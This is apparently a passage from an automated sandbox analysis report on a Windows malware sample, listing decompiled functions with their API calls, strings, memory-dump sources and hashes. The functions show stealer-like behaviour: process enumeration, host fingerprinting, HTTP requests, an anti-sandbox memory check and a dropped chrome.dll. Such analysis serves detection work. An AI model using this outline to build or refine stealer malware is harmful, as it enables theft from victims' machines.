Part of subcall function 007984B0: RegCloseKey.ADVAPI32(00000000), ref: 00798629

Part of subcall function 00798810: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,007A05BF), ref: 0079885A
Part of subcall function 00798810: Process32First.KERNEL32(?,00000128), ref: 0079886E
Part of subcall function 00798810: Process32Next.KERNEL32(?,00000128), ref: 00798883
Part of subcall function 00798810: CloseHandle.KERNEL32(?), ref: 007988F1

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 007928AB

Strings

ay, xrefs: 007928D4, 00792902, 007928D7

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: ay
API String ID: 2204142833-2817118138
Opcode ID: 89efc05c0bbf4e49964c6b8641808f452f133b5f422c74c2f368fd8d9179a7ad
Instruction ID: e41d94c9acd2385b3bfd543dc1ad56920e8acea3b7b774c43e44e763859bdb32
Opcode Fuzzy Hash: 89efc05c0bbf4e49964c6b8641808f452f133b5f422c74c2f368fd8d9179a7ad
Instruction Fuzzy Hash: 6972ADB2911118FBCF19FB90EDAAEEE733DAF14300F5046D9B11666051EF342B48CAA5

Function 00796D93 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00ED7128,?,007A10F4,?,00000000,?,007A10F8,?,00000000,007A0AF3), ref: 00796D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00796D88
CloseHandle.KERNEL32(00000000), ref: 00796D99
Sleep.KERNEL32(00001770), ref: 00796DA4
CloseHandle.KERNEL32(?,00000000,?,00ED7128,?,007A10F4,?,00000000,?,007A10F8,?,00000000,007A0AF3), ref: 00796DBA
ExitProcess.KERNEL32 ref: 00796DC2

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 73b64913b9a34a758b94598f0cd908eabc0263699b43efc6c317c304f4344bd3
Instruction ID: 8891658dbf7bf39a4bd3ce7fea14f447912d1e902aada493fbf096b0d0c497f0
Opcode Fuzzy Hash: 73b64913b9a34a758b94598f0cd908eabc0263699b43efc6c317c304f4344bd3
Instruction Fuzzy Hash: 99F05E30B48709EBEF00EBE0FC0ABBD3374BF14702F200715B522A51A4DBB85501CAA1

Function 00795440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Part of subcall function 007862D0: InternetOpenA.WININET(007A0DFF,00000001,00000000,00000000,00000000), ref: 00786331
Part of subcall function 007862D0: StrCmpCA.SHLWAPI(?,00EE3A60), ref: 00786353
Part of subcall function 007862D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00786385
Part of subcall function 007862D0: HttpOpenRequestA.WININET(00000000,GET,?,00EE3090,00000000,00000000,00400100,00000000), ref: 007863D5
Part of subcall function 007862D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0078640F
Part of subcall function 007862D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00786421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00795478

Strings

ERROR, xrefs: 0079546A
ERROR, xrefs: 007954C3

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 33f2203078042057f60e4d62bd1076ed3907e4e5f9d3edaee216af053fdae7ee
Instruction ID: 27ee197a20ff6cd70063a31175e43393470057dbb7aa3183c057fea0e10d2f66
Opcode Fuzzy Hash: 33f2203078042057f60e4d62bd1076ed3907e4e5f9d3edaee216af053fdae7ee
Instruction Fuzzy Hash: 0F111F70901108EBCF14FFA4E95AAED7339AF50340F804558F91A56492EB38AB05CBD1

Function 007952A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00798F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00798F9B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 007952DA
lstrcatA.KERNEL32(?,00EE0C98), ref: 007952F8

Part of subcall function 00794B60: wsprintfA.USER32 ref: 00794B7C
Part of subcall function 00794B60: FindFirstFileA.KERNEL32(?,?), ref: 00794B93

Strings

9dy, xrefs: 0079531F, 00795344, 00795322

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: 9dy
API String ID: 2699682494-4239614006
Opcode ID: 040e3610c8adef9d6e29e3574b04a7c5e3343e73066808edd3ad4318fc24a0d4
Instruction ID: b33d4523d97b73d13d3144c4c6c7cefd85cd22e81a1cdfc124dbaccbd49bcf91
Opcode Fuzzy Hash: 040e3610c8adef9d6e29e3574b04a7c5e3343e73066808edd3ad4318fc24a0d4
Instruction Fuzzy Hash: 880188F6540208A7CF54F7A0EC56EDD733CAB54301F404544B64597191EE78AAC98BD1

Function 0078B4C0 Relevance: 4.9, APIs: 2, Strings: 1, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Part of subcall function 0078A560: memcmp.MSVCRT(?,v20,00000003), ref: 0078A57D

lstrlenA.KERNEL32(00000000), ref: 0078B992
lstrlenA.KERNEL32(00000000), ref: 0078B9A6

Strings

p, xrefs: 0078B635

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID: p
API String ID: 3457870978-2678736219
Opcode ID: ae1515167bb2e7598ab01bd884cdd20f4cc84f36d4b9e3453922b27817e2ef5e
Instruction ID: 1a73ed15d3eb59406d712b0a806fc9623dec615c05a283a335f177941095f2a3
Opcode Fuzzy Hash: ae1515167bb2e7598ab01bd884cdd20f4cc84f36d4b9e3453922b27817e2ef5e
Instruction Fuzzy Hash: 5EE1D1B2911118EBCF14FBA0EDA6DEE7379BF54300F404599F10666191EF386A48CBB6

Function 007908ED Relevance: 4.7, APIs: 3, Instructions: 223fileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00EDA7B0), ref: 00790922
StrCmpCA.SHLWAPI(00000000,00EDA770), ref: 00790B79
StrCmpCA.SHLWAPI(00000000,00EDA790), ref: 00790A0C

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00790C35

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: DeleteFilelstrcpy
String ID:
API String ID: 273707478-0
Opcode ID: 6b190dd9fdff57f4c01ff81658a15443504734c6a68262327950be4ba6b47fd2
Instruction ID: 4eca2335032bebc61f0bf9117eefd651089c98e5663a5d55fcc78a91418adee8
Opcode Fuzzy Hash: 6b190dd9fdff57f4c01ff81658a15443504734c6a68262327950be4ba6b47fd2
Instruction Fuzzy Hash: 51913171700208EFCF18EF64DA95AED77B6FF95300F508169E40A9F251DA349A06CBD6

Function 00799850 Relevance: 4.5, APIs: 3, Instructions: 48fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,007908DC,C:\ProgramData\chrome.dll), ref: 00799871
WriteFile.KERNEL32(000000FF,007908DC,?,007908DC,00000000,?,007908DC), ref: 007998A3

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: 6f1ff3e92c448eca8afb82f3e7a66b6a86af90b0ecc650475a83aad6d9e04d6a
Instruction ID: 7c0e775bc935381104249900522b78171b1bc48d004b2b4e628128cc3cb6fa86
Opcode Fuzzy Hash: 6f1ff3e92c448eca8afb82f3e7a66b6a86af90b0ecc650475a83aad6d9e04d6a
Instruction Fuzzy Hash: DA117C70A08248BAEF14EFA4E819FDD7B796B15300F104198FA45A7191DB346A05CBE1

Function 00797A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00796CCB), ref: 00797AA0
HeapAlloc.KERNEL32(00000000,?,?,?,00796CCB), ref: 00797AA7
GetComputerNameA.KERNEL32(?,00000104), ref: 00797ABF

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 4e9284a0881e08256a3967af5734cde0b00b843099c5d0391c4d8b1bad987a83
Instruction ID: b655ac9667ec19d7d8ddcd44a5afb38b111accc108a45620052598e7a12aaf41
Opcode Fuzzy Hash: 4e9284a0881e08256a3967af5734cde0b00b843099c5d0391c4d8b1bad987a83
Instruction Fuzzy Hash: 340186B1A08349ABCB14CF98ED45FAEBBB8F704711F10421AF505E2280D7785A00C7A1

Function 00799600 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00799614
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00799635
CloseHandle.KERNEL32(00000000), ref: 0079963F

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 09f1cb5308a2cc10e6591045a1aa89bfc9591f3fa802ab3eff8706c36b7c7ee8
Instruction ID: 9d038b22f3391ef383113566a54124810a5ee43bfe9803e1eff952fd9c9e3bba
Opcode Fuzzy Hash: 09f1cb5308a2cc10e6591045a1aa89bfc9591f3fa802ab3eff8706c36b7c7ee8
Instruction Fuzzy Hash: ECF03A7490020CFFDF14DBA4ED4ABED7778FB08301F004598BA19A7290D6B06A85CB95

Function 00781110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00796CBC), ref: 0078112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00796CBC), ref: 00781132
ExitProcess.KERNEL32 ref: 00781143

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: c9426f20992c435bab28c827c031c535168c39e0f902a0c8686ab7266076c97f
Instruction ID: ff5589e52a3fad0d1bd1e8208671b37bd5fc4ac1d9c1696d2acc79715bcb04bf
